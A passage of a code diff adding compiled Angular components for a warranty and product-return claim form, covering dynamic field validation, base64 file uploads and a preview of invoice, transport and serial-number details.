+                }, null));
+                break;
+            case FieldTypeEnum.inputFile:
+                reqFieldsForm.addControl(`${Constants.base64}${f.formControlName}`, new FormControl([]));
+                if (f.isRequired)
+                    reqFieldsForm.addControl(f.formControlName, new FormControl('', [Validators.required, maxFilesValidator(4), maxFileSizeValidator(5), fileTypeNotSupportedValidator(this.allowedFiles)]));
+                else
+                    reqFieldsForm.addControl(f.formControlName, new FormControl('', [maxFilesValidator(4), maxFileSizeValidator(5), fileTypeNotSupportedValidator(this.allowedFiles)]));
+                reqFieldsForm.get(f.formControlName).valueChanges
+                    .pipe(takeUntil(this.destroy$))
+                    .subscribe(files => {
+                    reqFieldsForm.get(`${Constants.base64}${f.formControlName}`).setValue([]);
+                    if ((files === null || files === void 0 ? void 0 : files.length) > 0) {
+                        const base64FileControl = reqFieldsForm.get(`${Constants.base64}${f.formControlName}`);
+                        const base64Files = base64FileControl.value;
+                        files.map((file) => {
+                            const reader = new FileReader();
+                            reader.onload = (event) => {
+                                const fileToSend = new WarrantySendDataFile(file.name, event.target.result);
+                                base64Files.push(fileToSend);
+                                base64FileControl.setValue(base64Files);
+                            };
+                            reader.readAsDataURL(file);
+                        });
+                    }
+                });
+                break;
+            default:
+                if (f.isRequired)
+                    reqFieldsForm.addControl(f.formControlName, new FormControl('', f.type === FieldTypeEnum.inputCheckbox ? Validators.requiredTrue : Validators.required));
+                else
+                    reqFieldsForm.addControl(f.formControlName, new FormControl(''));
+                break;
+        }
+    }
+    getCheckboxTitle(f) {
+        const typeEnum = f.type;
+        switch (typeEnum) {
+            case FieldTypeEnum.insuranceCheckbox:
+                return "wf.insuranceInformation";
+            case FieldTypeEnum.inputCheckbox:
+                return `wf.${f.locale}Question`;
+            default:
+                return f.locale;
+        }
+    }
+    displayDeliveryDate(component) {
+        return this.validationService.displayDeliveryDate(this.infoForm, component);
+    }
+    displayTransportOption() {
+        return this.infoForm.contains("transportOption") && this.dynamicFieldsVisible();
+    }
+    displayPackageOpenedDisclaimer() {
+        return this.validationService.displayPackageOpenedDisclaimer(this.infoForm, this.warrantyData);
+    }
+    deliveryDateIsValid(component) {
+        return this.validationService.deliveryDateIsValid(this.infoForm, component);
+    }
+    dynamicFieldsVisible() {
+        var _a;
+        return ((_a = this.requiredFieldsFiltered) === null || _a === void 0 ? void 0 : _a.length) > 0;
+    }
+    acceptCostProposal(rf) {
+        var _a;
+        return ((_a = rf.ruleOption) === null || _a === void 0 ? void 0 : _a.localizeVar) === RuleOptionEnum.ruleoptCostProp;
+    }
+    onFillDescriptions() {
+        if (this.infoForm.valid) {
+            this.fillDescriptions.emit(this.infoForm);
+        }
+    }
+    serialNoExists(f) {
+        return this.serialNumberService.serialNoExists(f.name, this.infoForm.value.category, this.serialNumber);
+    }
+    mergeMessages() {
+        this.allHelpMessages = this.ruleHelpMessages;
+        this.vendorProductLimitsFiltered.forEach(i => {
+            const index = this.allHelpMessages.findIndex(x => x.id === i.localizedMessage.id);
+            if (index === -1) {
+                this.allHelpMessages.push(new LocalizedItem(i.localizedMessage.id, i.localizedMessage.text, "", ""));
+            }
+        });
+    }
+    isValid() {
+        return this.infoForm.valid && this.dynamicFieldsVisible();
+    }
+    onNextStep() {
+        this.continue.emit();
+    }
+    ngOnDestroy() {
+        this.destroy$.next(true);
+        this.destroy$.unsubscribe();
+    }
+}
+WarrantyInfoComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyInfoComponent, deps: [{ token: WarrantyService }, { token: FormComponentService }, { token: SerialNumberService }, { token: WarrantyValidationService }], target: i0.ɵɵFactoryTarget.Component });
+WarrantyInfoComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyInfoComponent, selector: "warranty-info", inputs: { configuration: "configuration", infoForm: "infoForm", warrantyData: "warrantyData", orderLineIndex: "orderLineIndex", serialNumber: "serialNumber", quantityCtrl: ["quantity", "quantityCtrl"] }, outputs: { fillDescriptions: "fillDescriptions", continue: "continue" }, ngImport: i0, template: "<div class=\"return__info\"\r\n     [formGroup]=\"infoForm\">\r\n    <h3>\r\n        {{configuration.titleWarrantyInfoForm | translate}}{{serialNumber ? \":\" : \"\"}}\r\n        <span *ngIf=\"serialNumber\">\r\n            {{serialNumber}}\r\n        </span>\r\n    </h3>\r\n\r\n    <span class=\"item-title\"\r\n          *ngIf=\"warrantyData.orderLines[orderLineIndex].productDescription\">{{warrantyData.orderLines[orderLineIndex].productDescription}}</span>\r\n\r\n    <ad-select formControlName=\"vendor\"\r\n               [multiple]=\"false\"\r\n               [allowFilter]=\"true\"\r\n               [placeholder]=\"'wf.choosemanufacturer'|translate\">\r\n        <ad-select-option *ngFor=\"let vendor of vendorsFiltered\"\r\n                          [value]=\"vendor.name\">\r\n            {{vendor.vendorName}}\r\n        </ad-select-option>\r\n    </ad-select>\r\n\r\n    <ad-select formControlName=\"category\"\r\n               [multiple]=\"false\"\r\n               [allowFilter]=\"true\"\r\n               [placeholder]=\"'wf.caseconcerntitle'|translate\">\r\n        <ad-select-option *ngFor=\"let category of categoriesFiltered\"\r\n                          [value]=\"category.name\">\r\n            {{category.typeName}}\r\n        </ad-select-option>\r\n    </ad-select>\r\n\r\n    <help-message [configuration]=\"configuration\"\r\n                      [parentForm]=\"infoForm\"\r\n                      message=\"wf.disclaimerDenmark\"\r\n                      [messageType]=\"HelpMessageTypeEnum.DisclaimerDk\">\r\n    </help-message>\r\n\r\n    <div *ngIf=\"displayReturnReason()\">\r\n        <ad-select formControlName=\"reasonProductReturn\"\r\n                   [multiple]=\"false\"\r\n                   [allowFilter]=\"false\"\r\n                   [placeholder]=\"returnReasonPlaceholder|translate\">\r\n            <ad-select-option *ngFor=\"let opt of returnReasonRuleOptions\"\r\n                              [value]=\"opt.nodeId\">\r\n                {{opt.nodeDescription}}\r\n            </ad-select-option>\r\n        </ad-select>\r\n    </div>\r\n\r\n    <div *ngIf=\"returnReasonValid\">\r\n\r\n        <div *ngFor=\"let c of components; let i=index\">\r\n\r\n            <ad-date-picker *ngIf=\"displayDeliveryDate(c)\"\r\n                            [variant]=\"'default'\"\r\n                            [inputLabel]=\"'wf.fillDeliveryDate'|translate\"\r\n                            [headerLabel]=\"'wf.fillDeliveryDate'|translate\"\r\n                            [formControlName]=\"'deliveryDate'\">\r\n            </ad-date-picker>\r\n\r\n            <ad-select *ngIf=\"deliveryDateIsValid(c)\"\r\n                       [formControlName]=\"c.id\"\r\n                       [multiple]=\"c.isMultiple\"\r\n                       [allowFilter]=\"false\"\r\n                       [required]=\"c.isRequired\"\r\n                       [placeholder]=\"c.placeholderText|translate\">\r\n                <ad-select-option *ngFor=\"let o of c.options\"\r\n                                  [value]=\"o.nodeId\">\r\n                    {{o.nodeDescription}}\r\n                </ad-select-option>\r\n            </ad-select>\r\n\r\n            <help-message *ngIf=\"this.infoForm.value.deliveryDate && !deliveryDateIsValid(c)\"\r\n                              message=\"wf.returnLapsed\"\r\n                              [messageType]=\"HelpMessageTypeEnum.ReturnLapsed\">\r\n            </help-message>\r\n        </div>\r\n\r\n        <ad-select *ngIf=\"displayTransportOption()\"\r\n                   formControlName=\"transportOption\"\r\n                   [multiple]=\"false\"\r\n                   [allowFilter]=\"false\"\r\n                   [placeholder]=\"'wf.invoicedataTransportation' | translate\">\r\n            <ad-select-option *ngFor=\"let method of warrantyData.transportOptions\"\r\n                              [value]=\"method.code\">\r\n                {{method.text}}\r\n            </ad-select-option>\r\n        </ad-select>\r\n\r\n        <help-message message=\"wf.openedPackageDisclaimer\"\r\n                          [messageType]=\"HelpMessageTypeEnum.OpenedPackage\"\r\n                          *ngIf=\"displayPackageOpenedDisclaimer()\"></help-message>\r\n    </div>\r\n\r\n    <div>\r\n        <help-message message=\"wf.belowAdministrationFee\"\r\n                          [messageType]=\"HelpMessageTypeEnum.BelowAdmFee\"\r\n                          *ngIf=\"!returnReasonValid\"></help-message>\r\n        <help-message [messages]=\"allHelpMessages\"></help-message>\r\n\r\n        <div *ngIf=\"dynamicFieldsVisible()\"\r\n             formGroupName=\"reqFields\">\r\n            <div class=\"field\"\r\n                 [ngClass]=\"{'checkbox': rf.type === 'input-checkbox'}\"\r\n                 *ngFor=\"let rf of requiredFieldsFiltered\">\r\n                <invoice-data *ngIf=\"rf.type === 'input-invoice-info' && acceptCostProposal(rf)\"\r\n                                  [configuration]=\"configuration\"\r\n                                  [warrantyData]=\"warrantyData\"\r\n                                  [reqFields]=\"reqFields\">\r\n                </invoice-data>\r\n\r\n                <ad-text *ngIf=\"rf.type === 'input-text' && !serialNoExists(rf)\"\r\n                         [required]=\"rf.isRequired\"\r\n                         [maxlength]=\"rf.maxLength\"\r\n                         [formControlName]=\"rf.formControlName!\">\r\n                    {{\"wf.\" + rf.locale|lowercase|translate}}\r\n                </ad-text>\r\n\r\n                <div *ngIf=\"rf.type === 'textarea'\">\r\n                    <ad-textarea [required]=\"rf.isRequired\"\r\n                                 [maxlength]=\"rf.maxLength\"\r\n                                 [formControlName]=\"rf.formControlName!\">\r\n                        {{\"wf.\" + rf.locale|lowercase|translate}}\r\n                    </ad-textarea>\r\n                    <span class=\"small-text\"\r\n                          *ngIf=\"rf.name === 'describePictureQuality'\">{{'wf.fieldpicturequalitylong'|translate}}\r\n                    </span>\r\n\r\n                    <div\r\n                         *ngIf=\"configuration.returnWithSameReason\">\r\n                        <ad-button [disabled]=\"!infoForm.valid\"\r\n                                   width=\"full\"\r\n                                   size=\"large\"\r\n                                   variant=\"primary\"\r\n                                   (onClick)=\"onFillDescriptions()\">{{'wf.fillAll'|translate}}\r\n                        </ad-button>\r\n                    </div>\r\n                </div>\r\n\r\n                <ad-file *ngIf=\"rf.type === 'input-file'\"\r\n                         [formControlName]=\"rf.formControlName!\"\r\n                         [accept]=\"allowedFiles\"\r\n                         [multiple]=\"true\"\r\n                         [required]='rf.isRequired'\r\n                         [preview]=\"true\"\r\n                         dropOnElement=\"body\"\r\n                         [maxSize]=\"5\">\r\n                </ad-file>\r\n\r\n                <div *ngIf=\"rf.type === 'insurance-checkbox' || rf.type === 'input-checkbox'\">\r\n                    <span>{{getCheckboxTitle(rf)|lowercase|translate}}</span>\r\n                    <ad-checkbox [formControlName]=\"rf.formControlName!\"\r\n                                 [required]=\"rf.isRequired\">{{('wf.'+rf.locale)|lowercase|translate}}\r\n                    </ad-checkbox>\r\n                </div>\r\n            </div>\r\n        </div>\r\n    </div>\r\n\r\n    <div *ngIf=\"!configuration.isCompletedOrderCase\">\r\n        <div class=\"return__forward\">\r\n            <ad-button [disabled]=\"!isValid()\"\r\n                       size=\"large\"\r\n                       variant=\"primary\"\r\n                       (onClick)=\"onNextStep()\">{{'wf.continue'|translate}}\r\n                       <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon>                       \r\n            </ad-button>\r\n        </div>\r\n    </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}::ng-deep :root{--select-bg: white;--select-bg-hover: #f7f7f7;--dropdown-border-color: #dbdddf}h3{font-size:1.1666666667rem;letter-spacing:-.05859375rem;font-weight:400}h3 span{font-weight:bold}.return__info{flex-shrink:0;display:flex;flex-direction:column;margin:0;padding:30px 30px 0;animation:fadeInSlideIn .55s}.return__info .item-title{line-height:100%}.ad__select{border-color:#dbdddf;border-color:var(--dropdown-border-color);background-color:var(--select-bg);transition:background-color .15s;background-color:#fff;border-width:1px;border-style:solid;position:relative;align-items:center;display:flex;width:100%;padding:15px 20px;border-radius:4px;box-shadow:0 6px 12px #00000008,0 4px 8px #00000008,0 2px 4px #00000008;outline:none}.ad__select:hover{background-color:#f7f7f7;background-color:var(--select-bg-hover);cursor:pointer}.ad__select--icon{position:absolute;right:14px;width:24px;height:24px}.content__filters{display:flex;z-index:2}.content__filters .content__filters-search{width:230px;position:relative;flex-shrink:0;flex-grow:0}.content__filters .input__text{margin:14px 0 6px}.content__filters .input__text .input__icon-img{position:absolute;bottom:11px;width:21px;opacity:.9}.content__filters .input__text .input__icon-img.input__icon-left{left:0}.content__filters .input__text .input__icon-img.input__icon-right{top:24px;right:0}.content__filters .content__filters-search-value{color:#71797d;font-size:.75rem;font-weight:600;text-transform:uppercase;opacity:1;position:absolute;bottom:-8px;left:0;width:100%}.content__filters .content__filters-items{width:100%;margin:4px 0 0 50px;height:45px;color:#4d575d;display:flex;z-index:3}.content__filters .content__filters-items .content__filters-items-title{font-weight:600;order:0;margin:22px 24px 0 0;flex-shrink:0}.content__filters .content__filters-items .content__filters-items-title:after{content:\":\"}.content__filters .filter__more--open--btn{display:none;padding:5px 0 0;margin:0 0 0 auto;align-items:center;justify-content:flex-end;opacity:.9}.content__filters .filter__more--open--btn:active{opacity:.75}.content__filters .filter__more--open--btn span{font-weight:600;color:#4d575d}.content__filters .filter__more--open--btn svg-icon{transform:rotate(90deg);width:16px;margin:0 0 0 5px}.content__filters .filter__more--open--btn:hover{cursor:pointer}.filter__date,.filter__checkbox{margin-top:4px}.filter__item{position:relative;margin:4px 10px;transition:width .2s;width:160px;min-width:110px;flex-shrink:1;white-space:nowrap}.filter__item.filter__item-dropdown-range{width:170px}.filter__item .filter__item-name{display:flex;align-items:center;cursor:default;width:100%;color:var(--color-green);letter-spacing:-.0375rem;font-weight:600}.filter__item .filter__item-name svg,.filter__item .filter__item-name svg-icon{width:20px;height:20px;margin:0 0 0 5px}.filter__item .filter__item-name ad-select,.filter__item .filter__item-name ad-button{margin:-7px;width:0px}.filter__item .filter__item-name.filter__dropdown{cursor:pointer}.filter__item .filter__item-name img,.filter__item .filter__item-name label{pointer-events:none;max-width:calc(100% - 20px);overflow:hidden;text-overflow:ellipsis}.filter__item .filter__item-value{display:flex;align-items:center;margin:8px 0 0;padding-left:0!important;padding-right:0!important}.filter__item .filter__item-value-text{color:#4d575d;font-size:.8125rem;font-weight:600;line-height:150%;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding-right:0!important;padding-left:0!important}.filter__item .filter__item-value-remove{width:16px;height:16px;margin:0 0 0 6px;opacity:.6;padding-right:0!important;padding-left:0!important;flex-shrink:0;flex-grow:0}.filter__item .filter__item-value-remove:hover{cursor:pointer;opacity:1}.filter__item .filter__item-value-remove svg{margin:0}.return__forward{margin-top:10px;border-top:1px solid #dbdddf;justify-content:flex-end;align-items:center;display:flex}.field{margin-bottom:40px}.field.checkbox{margin-bottom:10px}.small-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.disabled{pointer-events:none}\n"], components: [{ type: i1$1.SelectComponent, selector: "ad-select", inputs: ["id", "disabled", "value", "multiple", "allowFilter", "placeholder", "labelProperty"] }, { type: i1$1.SelectOptionComponent, selector: "ad-select-option", inputs: ["disabled", "id", "value"], outputs: ["onSelectionChange"] }, { type: HelpMessageComponent, selector: "help-message", inputs: ["configuration", "parentForm", "message", "messages", "messageType"] }, { type: i1$1.DatePickerComponent, selector: "ad-date-picker", inputs: ["options", "variant", "id", "inputLabel", "startLabel", "endLabel", "headerLabel", "disabled", "min", "max"] }, { type: InvoiceDataComponent, selector: "invoice-data", inputs: ["configuration", "reqFields", "reqLocale", "reuseInvoiceInfo", "warrantyData"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.TextareaInputComponent, selector: "ad-textarea", inputs: ["disabled", "required"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.FileInputComponent, selector: "ad-file", inputs: ["id", "disabled", "multiple", "preview", "dropOnElement", "maxSize", "accept"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }, { type: i2.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i3.MaxLengthValidator, selector: "[maxlength][formControlName],[maxlength][formControl],[maxlength][ngModel]", inputs: ["maxlength"] }], pipes: { "translate": i4.TranslatePipe, "lowercase": i2.LowerCasePipe } });
+i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyInfoComponent, decorators: [{
+            type: Component,
+            args: [{
+                    selector: 'warranty-info',
+                    templateUrl: './warranty-info.component.html',
+                    styleUrls: ['./warranty-info.component.scss']
+                }]
+        }], ctorParameters: function () { return [{ type: WarrantyService }, { type: FormComponentService }, { type: SerialNumberService }, { type: WarrantyValidationService }]; }, propDecorators: { configuration: [{
+                type: Input
+            }], infoForm: [{
+                type: Input
+            }], warrantyData: [{
+                type: Input
+            }], orderLineIndex: [{
+                type: Input
+            }], serialNumber: [{
+                type: Input
+            }], quantityCtrl: [{
+                type: Input,
+                args: ["quantity"]
+            }], fillDescriptions: [{
+                type: Output
+            }], continue: [{
+                type: Output
+            }] } });
+
+class TroubleshootingOption {
+    constructor(Question, Answer) {
+        this.Question = Question;
+        this.Answer = Answer;
+    }
+}
+
+class Invoice {
+    constructor(invoiceAddress, invoiceRef) {
+        this.invoiceAddress = invoiceAddress;
+        this.invoiceRef = invoiceRef;
+    }
+}
+class InvoiceInformation extends Invoice {
+    constructor(invoiceAddress, invoiceRef, customerNumber, transportation) {
+        super(invoiceAddress, invoiceRef);
+        this.customerNumber = customerNumber;
+        this.transportation = transportation;
+    }
+}
+
+class WarrantyPreviewItemComponent {
+    constructor(formComponentService) {
+        this.formComponentService = formComponentService;
+        this.isOpen = false;
+        this.reqFields = [];
+        this.files = [];
+        this.checkboxes = [];
+        this.verifyCablesObjects = false;
+        this.selectedSerialNumbers = [];
+    }
+    get infoForm() {
+        return this.lineForm.get("info");
+    }
+    get FieldTypeEnum() {
+        return FieldTypeEnum;
+    }
+    ngOnInit() {
+        this.vendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
+        this.category = this.warrantyData.getCategoryByName(this.infoForm.value.category);
+        this.returnReason = this.getProductReturnReason();
+        this.transportOption = this.warrantyData.getTransportOption(this.infoForm.value.transportOption);
+        const formFields = this.infoForm.get("reqFields");
+        const serialNumbers = this.lineForm.get("serialNumbers").value;
+        if ((serialNumbers === null || serialNumbers === void 0 ? void 0 : serialNumbers.length) > 0) {
+            this.selectedSerialNumbers = serialNumbers
+                .filter(i => i.isChecked)
+                .map(x => x.serial);
+        }
+        ;
+        Object.keys(formFields.controls)
+            .filter(key => !key.startsWith(Constants.base64))
+            .forEach(key => {
+            const fieldName = key.substring(key.indexOf("returnHardware-") + 15);
+            const field = this.warrantyData.requiredFields.find(x => x.name === fieldName);
+            field.order = this.formComponentService.getFieldOrderNumber(field.type);
+            switch (field.type) {
+                case FieldTypeEnum.invoiceInfo:
+                    const transportMethod = this.warrantyData.getTransportOption(formFields.controls[key].get("transportMethod").value);
+                    this.invoiceInformation = new InvoiceInformation(formFields.controls[key].get("invoiceAddress").value, formFields.controls[key].get("invoiceReference").value, formFields.controls[key].get("orgReference").value, transportMethod);
+                    break;
+                case FieldTypeEnum.inputFile:
+                    const filesValue = this.infoForm.get("reqFields").get(key).value;
+                    if ((filesValue === null || filesValue === void 0 ? void 0 : filesValue.length) > 0) {
+                        filesValue.map(v => this.files.push(v.name));
+                    }
+                    this.reqFields.push(field);
+                    break;
+                case FieldTypeEnum.inputText:
+                case FieldTypeEnum.textarea:
+                    this.reqFields.push(field);
+                    break;
+                case FieldTypeEnum.inputCheckbox:
+                case FieldTypeEnum.insuranceCheckbox:
+                    if (formFields.controls[field.formControlName].value === true) {
+                        if (field.name === "verifycables") {
+                            this.verifyCablesObjects = true;
+                        }
+                        else {
+                            this.checkboxes.push(field);
+                        }
+                    }
+                    break;
+            }
+        });
+        this.reqFields.sort(this.warrantyData.sortFields);
+    }
+    displayReason() {
+        if (this.configuration.isWarranty) {
+            switch (this.configuration.defConfig.country) {
+                case CountriesEnum.DK:
+                case CountriesEnum.SE:
+                    return false;
+            }
+        }
+        return true;
+    }
+    getRequireFieldValue(key) {
+        return this.infoForm.get("reqFields").get(key).value;
+    }
+    getSerialNumber() {
+        const serialNumber = this.lineForm.value.serialNumbers.find(i => i.isChecked);
+        return serialNumber ? serialNumber.serial : "";
+    }
+    getProductReturnReason() {
+        if (this.troubleshootingOptions.length > 1) {
+            return this.troubleshootingOptions[this.troubleshootingOptions.length - 2].Answer[0];
+        }
+        return this.warrantyData.getRuleOption(this.infoForm.value.reasonProductReturn).nodeDescription;
+    }
+    onFocus() {
+        this.isOpen = true;
+    }
+    onBlur() {
+        this.isOpen = false;
+    }
+}
+WarrantyPreviewItemComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewItemComponent, deps: [{ token: FormComponentService }], target: i0.ɵɵFactoryTarget.Component });
+WarrantyPreviewItemComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyPreviewItemComponent, selector: "warranty-preview-item", inputs: { configuration: "configuration", warrantyData: "warrantyData", lineForm: "lineForm", troubleshootingOptions: "troubleshootingOptions", serialNumberEmptyOrder: "serialNumberEmptyOrder", productNumberEmptyOrder: "productNumberEmptyOrder", productModelEmptyOrder: "productModelEmptyOrder" }, ngImport: i0, template: "<div class=\"flex--column\">\r\n  <div class=\"flex--row\">\r\n    <div class=\"return__order--item\"\r\n         *ngIf=\"displayReason()\">\r\n      <span class=\"return__order--item-title\">{{'wf.reason'|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"returnReason\">{{returnReason}}</span>\r\n    </div>\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{'wf.choosemanufacturer'|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"vendor.vendorName\">{{vendor.vendorName}}</span>\r\n    </div>\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{'wf.caseconcerntitle'|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"category.typeName\">{{category.typeName}}</span>\r\n    </div>\r\n  </div>\r\n  <div class=\"flex--row\">\r\n    <div class=\"return__order--item\"\r\n         *ngFor=\"let option of troubleshootingOptions\">\r\n      <span class=\"return__order--item-title\">{{option.Question|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"answer|translate\"\r\n            *ngFor=\"let answer of option.Answer\">{{answer|translate}}</span>\r\n    </div>\r\n  </div>\r\n\r\n  <div class=\"return__order--item\"\r\n       *ngIf=\"transportOption\">\r\n    <span class=\"return__order--item-title\">{{'wf.SelectedTransportationMethod'|translate}}</span>\r\n    <span class=\"return__order--item-information\" [title]=\"transportOption.text\">{{transportOption.text}}</span>\r\n  </div>\r\n\r\n  <div *ngFor=\"let req of reqFields\">\r\n    <ng-container [ngSwitch]=\"req.type\">\r\n      <div *ngSwitchCase=\"FieldTypeEnum.inputText\">\r\n        <span class=\"return__order--item-title\">\r\n          {{\"wf.\" + req.locale | lowercase |translate}}\r\n        </span>\r\n        <span class=\"return__order--item-information\" [title]=\"getRequireFieldValue(req.formControlName)\">{{getRequireFieldValue(req.formControlName)}}</span>\r\n      </div>\r\n      <div *ngSwitchCase=\"FieldTypeEnum.textarea\">\r\n        <span class=\"return__order--item-title\">\r\n          {{\"wf.\" + req.locale | lowercase |translate}}\r\n        </span>\r\n        <span class=\"return__order--item-information long-text\">{{getRequireFieldValue(req.formControlName)}}</span>\r\n      </div>\r\n      <div *ngSwitchCase=\"FieldTypeEnum.inputFile\">\r\n        <div *ngIf=\"files.length > 0\">\r\n          <span class=\"return__order--item-title\">\r\n            {{\"wf.\" + req.locale | lowercase |translate}}\r\n          </span>\r\n          <span class=\"return__order--item-information\"\r\n                *ngFor=\"let f of files\">\r\n            {{f}}\r\n          </span>\r\n        </div>\r\n      </div>\r\n    </ng-container>\r\n  </div>\r\n\r\n  <div class=\"flex--row\"\r\n       *ngIf=\"invoiceInformation\">\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{\"wf.invoiceCustomer\"|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"invoiceInformation.customerNumber\">{{invoiceInformation.customerNumber}}</span>\r\n    </div>\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{\"wf.invoiceAddress\"|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"invoiceInformation.invoiceAddress\">{{invoiceInformation.invoiceAddress}}</span>\r\n    </div>\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{\"wf.invoiceRef\"|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"invoiceInformation.invoiceRef\">{{invoiceInformation.invoiceRef}}</span>\r\n    </div>\r\n    <div class=\"return__order--item\">\r\n      <span class=\"return__order--item-title\">{{\"wf.SelectedTransportationMethod\"|translate}}</span>\r\n      <span class=\"return__order--item-information\" [title]=\"invoiceInformation.transportation.text\">{{invoiceInformation.transportation.text}}</span>\r\n    </div>\r\n  </div>\r\n\r\n  <div class=\"return__order--item\"\r\n       *ngIf=\"checkboxes.length > 0\">\r\n    <span class=\"return__order--item-title\">{{\"wf.subargument\"|translate}}</span>\r\n    <span class=\"return__order--item-information\"\r\n          *ngFor=\"let req of checkboxes\">\r\n      {{ req.locale | translate}}\r\n    </span>\r\n  </div>\r\n\r\n  <div class=\"return__order--item\"\r\n       *ngIf=\"verifyCablesObjects\">\r\n    <span class=\"return__order--item-title\">{{\"wf.fieldverifycablesquestion\"|translate}}</span>\r\n    <span class=\"return__order--item-information\">{{\"wf.fieldverifycables\"|translate}}</span>\r\n  </div>\r\n\r\n  <div class=\"return__items\">\r\n    <div class=\"return__order--item articles\">\r\n      <span class=\"return__order--item-title\"\r\n            *ngIf=\"configuration.defConfig.caseType === 1\">{{\"wf.returnproducts\"|translate}}</span>\r\n      <span class=\"return__order--item-title\"\r\n            *ngIf=\"configuration.defConfig.caseType === 2\">{{\"wf.warrantyclaim\"|translate}}</span>\r\n    </div>\r\n\r\n    <div class=\"return__items--header\"\r\n         *ngIf=\"!configuration.OrderIsNull\">\r\n      <span class=\"item__description\">{{\"wf.articlename\"|translate}}</span>\r\n      <span class=\"item__article\">{{\"wf.articlenumber\"|translate}}</span>\r\n      <span class=\"item__quantity align__center\"\r\n            *ngIf=\"!configuration.isCompletedOrderCase && !(lineForm.value.serialNumbers?.length > 0)\">{{\"wf.articlequantity\"|translate}}</span>\r\n      <span class=\"item__serial\"\r\n            *ngIf=\"!configuration.isCompletedOrderCase && lineForm.value.serialNumbers?.length > 0\">{{\"wf.serialnumbers\"|translate}}</span>\r\n      <span class=\"item__serial\"\r\n            *ngIf=\"configuration.isCompletedOrderCase\">{{\"wf.serialnumbersWithQuantity\"|translate}}</span>\r\n    </div>\r\n    <div class=\"return__items--list\"\r\n         *ngIf=\"!configuration.OrderIsNull\">\r\n      <span class=\"item__description text__overflow\">{{lineForm.value.productDescription}}</span>\r\n      <span class=\"item__article text__overflow\">{{lineForm.value.productNumber}}</span>\r\n      <span class=\"item__quantity align__center\"\r\n            *ngIf=\"selectedSerialNumbers.length === 0\">{{lineForm.value.quantity}}</span>\r\n      <div class=\"item__serial\"\r\n           *ngIf=\"selectedSerialNumbers.length > 0\">\r\n        <span class=\"contextual__item\">\r\n          {{getSerialNumber()}}\r\n        </span>\r\n        <div class=\"list__contextuals--icon\"\r\n             